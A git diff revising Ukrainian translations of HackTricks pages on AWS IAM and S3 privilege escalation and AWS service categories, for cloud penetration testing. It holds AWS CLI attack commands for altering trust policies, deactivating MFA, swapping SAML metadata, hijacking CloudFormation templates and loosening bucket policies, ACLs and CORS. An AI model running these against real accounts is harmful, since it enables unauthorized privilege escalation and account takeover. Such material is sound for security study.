-**Exploit:**
+**Експлойт:**
```bash
aws iam update-assume-role-policy --role-name \
--policy-document file:///path/to/assume/role/policy.json
```
-Якщо політика виглядає наступним чином і надає користувачу дозвіл assume the role:
+Якщо політика виглядає наступним чином і дає користувачу дозвіл взяти на себе роль:
```json
{
"Version": "2012-10-17",
@@ -163,13 +163,13 @@ aws iam update-assume-role-policy --role-name \
]
}
```
-**Вплив:** Пряме підвищення привілеїв шляхом отримання дозволів будь-якої ролі.
+**Вплив:** Пряме підвищення привілеїв шляхом отримання прав будь-якої ролі.
### **`iam:UploadSSHPublicKey` || `iam:DeactivateMFADevice`**
Дозволяє завантажувати SSH public key для автентифікації в CodeCommit та деактивувати MFA devices, що може призвести до потенційного непрямого підвищення привілеїв.
-**Exploit for SSH Key Upload:**
+**Експлойт для завантаження SSH public key:**
```bash
aws iam upload-ssh-public-key --user-name --ssh-public-key-body
```
@@ -177,24 +177,24 @@ aws iam upload-ssh-public-key --user-name --ssh-public-key-body --serial-number
```
-**Вплив:** Indirect privilege escalation шляхом надання доступу до CodeCommit або відключення захисту MFA.
+**Вплив:** Опосередковане підвищення привілеїв шляхом надання доступу до CodeCommit або відключення захисту MFA.
### **`iam:ResyncMFADevice`**
-Дозволяє повторно синхронізувати MFA-пристрій, що потенційно може призвести до indirect privilege escalation шляхом маніпулювання захистом MFA.
+Дозволяє повторно синхронізувати MFA-пристрій, що потенційно може призвести до опосередкованого підвищення привілеїв шляхом маніпулювання захистом MFA.
**Команда Bash:**
```bash
aws iam resync-mfa-device --user-name --serial-number \
--authentication-code1 --authentication-code2
```
-**Вплив:** Опосередковане підвищення привілеїв шляхом додавання або маніпуляцій з MFA-пристроями.
+**Impact:** Indirect privilege escalation шляхом додавання або маніпулювання MFA devices.
### `iam:UpdateSAMLProvider`, `iam:ListSAMLProviders`, (`iam:GetSAMLProvider`)
-Маючи ці дозволи, ви можете **змінити XML метадані SAML-з'єднання**. Потім ви можете зловживати **SAML federation**, щоб **login** під будь-якою **role**, яка довіряє SAML federation.
+За наявності цих дозволів ви можете **змінити XML метадані SAML-з'єднання**. Після цього ви можете зловживати **SAML federation**, щоб **login** під будь‑якою **role**, яка їй довіряє.
-Зверніть увагу, що через це **легітимні користувачі не зможуть login**. Проте ви можете отримати XML, вставити свій, login і відновити попередні налаштування.
+Зверніть увагу, що після цього **легітимні користувачі не зможуть login**. Однак ви можете отримати XML, замінити його на свій, **login** і відновити попередню конфігурацію.
```bash
# List SAMLs
aws iam list-saml-providers
@@ -211,11 +211,11 @@ aws iam update-saml-provider --saml-metadata-document --saml-provider-ar
aws iam update-saml-provider --saml-metadata-document --saml-provider-arn
```
> [!NOTE]
-> TODO: Інструмент, здатний згенерувати метадані SAML та виконати вхід з вказаною роллю
+> TODO: Інструмент, здатний згенерувати SAML metadata та увійти з вказаною роллю
### `iam:UpdateOpenIDConnectProviderThumbprint`, `iam:ListOpenIDConnectProviders`, (`iam:`**`GetOpenIDConnectProvider`**)
-(Не впевнений у цьому) Якщо у зловмисника є ці **дозволи**, він може додати новий **Thumbprint**, щоб мати можливість увійти у всі ролі, що довіряють цьому провайдеру.
+(Не впевнений у цьому) Якщо атакувальник має ці **дозволи**, він може додати новий **Thumbprint**, щоб отримати можливість увійти у всі ролі, які довіряють цьому провайдеру.
```bash
# List providers
aws iam list-open-id-connect-providers
@@ -226,7 +226,7 @@ aws iam update-open-id-connect-provider-thumbprint --open-id-connect-provider-ar
```
### `iam:PutUserPermissionsBoundary`
-Цей дозвіл дозволяє зловмисникові оновити permissions boundary користувача, що потенційно підвищує їхні привілеї, дозволяючи виконувати дії, які зазвичай обмежені їхніми поточними дозволами.
+Ця дія дозволяє зловмиснику оновити межу дозволів (permissions boundary) користувача, що потенційно може підвищити його привілеї, дозволяючи виконувати дії, які зазвичай обмежені його поточними дозволами.
```bash
aws iam put-user-permissions-boundary \
--user-name \
@@ -249,7 +249,7 @@ Un ejemplo de una política que no aplica ninguna restricción es:
```
### `iam:PutRolePermissionsBoundary`
-Актор з правом iam:PutRolePermissionsBoundary може встановлювати permissions boundary для існуючого role. Ризик виникає, коли хтось із цим дозволом змінює permissions boundary ролі: він може неправильно обмежити операції (що призведе до збоїв у роботі сервісу) або, якщо прикріпить дозволяючий permissions boundary, фактично розширити можливості role і escalate privileges.
+Особа з дозволом iam:PutRolePermissionsBoundary може встановлювати межу дозволів для існуючої ролі. Ризик виникає, коли така особа змінює межу ролі: вона може некоректно обмежити операції (що спричинить порушення роботи сервісу) або, якщо приєднає надмірно дозволяючу межу, фактично розширити можливості ролі й підвищити привілеї.
```bash
aws iam put-role-permissions-boundary \
--role-name \
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc/README.md
index 0492ff887..91493ce62 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc/README.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc/README.md
@@ -6,9 +6,9 @@
### `s3:PutBucketNotification`, `s3:PutObject`, `s3:GetObject`
-Attacker з такими permissions над цікавими buckets може hijack resources і escalate privileges.
+Attacker з тими permissions над цікавими buckets може hijack resources та escalate privileges.
-Наприклад, attacker з такими **permissions over a cloudformation bucket** під назвою "cf-templates-nohnwfax6a6i-us-east-1" зможе hijack the deployment. Доступ може бути наданий за допомогою наступної policy:
+Наприклад, attacker with those **permissions over a cloudformation bucket** called "cf-templates-nohnwfax6a6i-us-east-1" зможе hijack the deployment. Доступ може бути наданий за допомогою наступної політики:
```json
{
"Version": "2012-10-17",
@@ -34,29 +34,30 @@ Attacker з такими permissions над цікавими buckets може hi
]
}
```
-І hijack можливий, бо існує **невеликий проміжок часу від моменту, коли шаблон завантажується** у bucket до моменту, коли шаблон **розгортається**. Атакуючий може просто створити у своєму акаунті **lambda function**, яка **trigger when a bucket notification is sent**, і **hijacks** **вміст** цього **bucket**.
+І захоплення можливе, тому що існує **невелике часове вікно від моменту, коли шаблон завантажується** у bucket до моменту, коли **шаблон розгортається**. Атакуючий може просто створити **lambda function** у своєму акаунті, яка **trigger-иться при надсиланні bucket notification**, і **hijacks** **вміст** цього **bucket**.
.png>)
Модуль Pacu [`cfn__resouce_injection`](https://github.com/RhinoSecurityLabs/pacu/wiki/Module-Details#cfn__resource_injection) може бути використаний для автоматизації цієї атаки.\
-Для більш детальної інформації див. оригінальне дослідження: [https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/](https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/)
+Для більш докладної інформації див. оригінальне дослідження: [https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/](https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/)
### `s3:PutObject`, `s3:GetObject`
-Це дозволи для **отримання та завантаження об’єктів у S3**. Декілька сервісів всередині AWS (і поза ним) використовують S3 для зберігання **config files**.\
-Атакуючий з **доступом на читання** до таких файлів може знайти в них **чутливу інформацію**.\
-Атакуючий з **доступом на запис** до них може **змінити дані, щоб зловживати якимсь сервісом і спробувати escalate privileges**.\
+Це дозволи для **отримання та завантаження об'єктів у S3**. Декілька сервісів всередині AWS (та поза ним) використовують S3 для зберігання **config files**.\
+Атакуючий з **read access** до них може знайти на них **sensitive information**.\
+Атакуючий з **write access** до них може **modify the data to abuse some service and try to escalate privileges**.\
Ось декілька прикладів:
-- Якщо EC2 інстанс зберігає **user data in a S3 bucket**, атакуючий може змінити його, щоб **execute arbitrary code inside the EC2 instance**.
+- Якщо EC2 instance зберігає **user data in a S3 bucket**, атакуючий може змінити його, щоб **execute arbitrary code inside the EC2 instance**.
### `s3:PutObject`, `s3:GetObject` (optional) over terraform state file
-Дуже часто terraform state файли зберігаються у blob-сторожуванні провайдерів хмари, напр., AWS S3. Суфікс файлу стану — `.tfstate`, а назви bucket'ів часто теж видають, що вони містять terraform state файли. Зазвичай у кожному AWS акаунті є такий bucket для зберігання файлів стану, які показують стан акаунту. Також у реальних акаунтах майже завжди всі розробники мають `s3:*`, а інколи навіть бізнес-користувачі мають `s3:Put*`.
+Дуже часто [terraform] state files зберігаються в blob storage провайдерів хмари, напр., AWS S3. Суфікс файлу для state file — `.tfstate`, а назви bucket-ів часто також видають, що в них містяться terraform state files. Зазвичай у кожного AWS акаунту є такий bucket для зберігання state files, які показують стан акаунту.
+Також у реальних акаунтах майже завжди всі розробники мають `s3:*`, а іноді навіть бізнес-користувачі мають `s3:Put*`.
-Тому, якщо у вас є перелічені дозволи на ці файли, існує вектор атаки, що дозволяє отримати RCE у pipeline під привілеями `terraform` — більшість часу це `AdministratorAccess`, що робить вас адміном cloud акаунту. Також ви можете використати цей вектор для denial of service, змусивши `terraform` видалити легітимні ресурси.
+Отже, якщо у вас є перераховані дозволи до цих файлів, є вектор атаки, який дозволяє отримати RCE в pipeline з привілеями `terraform` — у більшості випадків `AdministratorAccess`, роблячи вас адміністратором хмарного акаунту. Також ви можете використати цей вектор для denial of service атаки, змусивши `terraform` видалити легітимні ресурси.
-Дотримуйтесь опису в секції *Abusing Terraform State Files* сторінки *Terraform Security* для безпосередньо використовуваного коду експлойту:
+Follow the description in the *Abusing Terraform State Files* section of the *Terraform Security* page for directly usable exploit code:
{{#ref}}
../../../../pentesting-ci-cd/terraform-security.md#abusing-terraform-state-files
@@ -64,7 +65,7 @@ Attacker з такими permissions над цікавими buckets може hi
### `s3:PutBucketPolicy`
-Атакуючий, який має бути **from the same account** (інакше спрацює помилка `The specified method is not allowed will trigger`), з цим дозволом зможе надати собі більше прав над bucket(ами), дозволяючи читати, записувати, змінювати, видаляти та робити bucket'и публічними.
+Атакуючий, який має бути **з того самого акаунту**, якщо ні — буде тригеритись помилка `The specified method is not allowed`, з цим дозволом зможе надати собі більше прав над bucket(ами), дозволяючи читати, записувати, змінювати, видаляти та expose-ити buckets.
```bash
# Update Bucket policy
aws s3api put-bucket-policy --policy file:///root/policy.json --bucket
@@ -122,8 +123,8 @@ aws s3api put-bucket-policy --policy file:///root/policy.json --bucket
@@ -150,7 +151,7 @@ aws s3api put-bucket-acl --bucket --access-control-policy file://a
```
### `s3:GetObjectAcl`, `s3:PutObjectAcl`
-An attacker може зловживати цими дозволами, щоб надати собі більший доступ до конкретних об'єктів у buckets.
+Атакуючий може зловживати цими дозволами, щоб надати собі більший доступ до конкретних об'єктів у бакетах.
```bash
# Update bucket object ACL
aws s3api get-object-acl --bucket --key flag
@@ -177,16 +178,16 @@ aws s3api put-object-acl --bucket --key flag --access-control-poli
```
### `s3:GetObjectAcl`, `s3:PutObjectVersionAcl`
-Очікується, що атакуючий з цими привілеями зможе встановити Acl для конкретної версії об'єкта.
+Очікується, що нападник із цими привілеями зможе встановити Acl для конкретної версії об'єкта.
```bash
aws s3api get-object-acl --bucket --key flag
aws s3api put-object-acl --bucket --key flag --version-id --access-control-policy file://objacl.json
```
### `s3:PutBucketCORS`
-Зловмисник з дозволом s3:PutBucketCORS може змінювати CORS (Cross-Origin Resource Sharing) конфігурацію bucket'а, яка контролює, які веб-домени можуть отримувати доступ до його кінцевих точок. Якщо він встановить надмірно дозволяючу політику, будь-який вебсайт зможе робити прямі запити до bucket'а і читати відповіді з браузера.
+Атакувальник, який має дозвіл s3:PutBucketCORS, може змінювати CORS (Cross-Origin Resource Sharing) конфігурацію bucket, що контролює, які веб-домени можуть звертатися до його кінцевих точок. Якщо він встановить дозволяючу політику, будь-який сайт зможе робити прямі запити до bucket і читати відповіді з браузера.
-Це означає, що, потенційно, якщо автентифікований користувач вебзастосунку, розміщеного в цьому bucket'і, відвідає сайт зловмисника, зловмисник зможе скористатися дозволяючою CORS-політикою і, залежно від застосунку, отримати доступ до даних профілю користувача або навіть захопити його обліковий запис.
+Це означає, що потенційно, якщо аутентифікований користувач веб-застосунку, розміщеного в bucket, відвідає сайт атакувача, останній може використати дозволяючу CORS-політику і, залежно від застосунку, отримати доступ до профільних даних користувача або навіть захопити обліковий запис користувача.
```bash
aws s3api put-bucket-cors \
--bucket \
diff --git a/src/pentesting-cloud/aws-security/aws-services/README.md b/src/pentesting-cloud/aws-security/aws-services/README.md
index 7ceef8f84..17050a00b 100644
--- a/src/pentesting-cloud/aws-security/aws-services/README.md
+++ b/src/pentesting-cloud/aws-security/aws-services/README.md
@@ -6,33 +6,27 @@
### Контейнерні сервіси
-Сервіси, що належать до контейнерних сервісів, мають такі характеристики:
+Сервіси, що відносяться до контейнерних сервісів, мають такі характеристики:
-- Сервіс сам по собі працює на **окремих інфраструктурних інстансах**, таких як EC2.
-- **AWS** відповідає за **управління операційною системою та платформою**.
-- Керований сервіс надається **AWS**, зазвичай це сам сервіс для **фактичних додатків, які розглядаються як контейнери**.
-- Як користувач цих контейнерних сервісів, ви маєте ряд управлінських та безпекових обов'язків, включаючи **управління безпекою доступу в мережі, наприклад правила контролю доступу в мережі (ACL) та будь-які брандмауери**.
-- Також управління ідентифікацією та доступом на рівні платформи, де воно застосовується.
+- Сам сервіс працює на **окремих інстансах інфраструктури**, таких як EC2.
+- **AWS** відповідає за **керування операційною системою та платформою**.
+- Керований сервіс надається AWS, і зазвичай це сам сервіс для **реального застосунку, що розгортається як контейнери**.
+- Як користувач цих контейнерних сервісів, ви маєте низку обов’язків з управління та безпеки, включно з **керуванням безпекою мережевого доступу, наприклад правилами мережевих ACL та будь-якими брандмауерами**.
+- Також — керування ідентичністю та доступом на рівні платформи, де це застосовується.
- **Приклади** контейнерних сервісів AWS включають Relational Database Service, Elastic Mapreduce та Elastic Beanstalk.
### Абстрактні сервіси
-- Ці сервіси **віддалені, абстраговані від платформи або шару управління, на якому побудовані хмарні застосунки**.
-- До сервісів звертаються через кінцеві точки, використовуючи AWS application programming interfaces (APIs).
-- **Підлягаюча інфраструктура, операційна система та платформа управляються AWS**.
-- Абстраговані сервіси забезпечують платформу з multi-tenancy, на якій основна інфраструктура є спільною.
+- Ці сервіси **відділені, абстраговані від платформи або шару управління, на якому будуються хмарні додатки**.
+- До сервісів звертаються через ендпоінти, використовуючи AWS інтерфейси програмування додатків (APIs).
+- **Підлягаюча інфраструктура, операційна система та платформа керуються AWS**.
+- Абстраговані сервіси забезпечують платформу з мультиорендністю, де підлягаюча інфраструктура використовується спільно.
- **Дані ізольовані за допомогою механізмів безпеки**.
-- Абстрактні сервіси мають тісну інтеграцію з IAM, а **прикладами** абстрактних сервісів є S3, DynamoDB, Amazon Glacier та SQS.
+- Абстрактні сервіси мають тісну інтеграцію з IAM, і **прикладами** абстрактних сервісів є S3, DynamoDB, Amazon Glacier та SQS.
## Перерахування сервісів
-**Сторінки цього розділу впорядковані за сервісами AWS. Там ви зможете знайти інформацію про сервіс (як він працює та його можливості), що дозволить вам підвищити привілеї.**
+**Сторінки цього розділу впорядковані за сервісами AWS. У них ви зможете знайти інформацію про сервіс (як він працює та його можливості), що дозволить вам escalate privileges.**
-### Related: Amazon Bedrock security
-
-{{#ref}}
-aws-bedrock-agents-memory-poisoning.md
-{{#endref}}
-
{{#include ../../../banners/hacktricks-training.md}}
.png)
.png)
.png)
.png)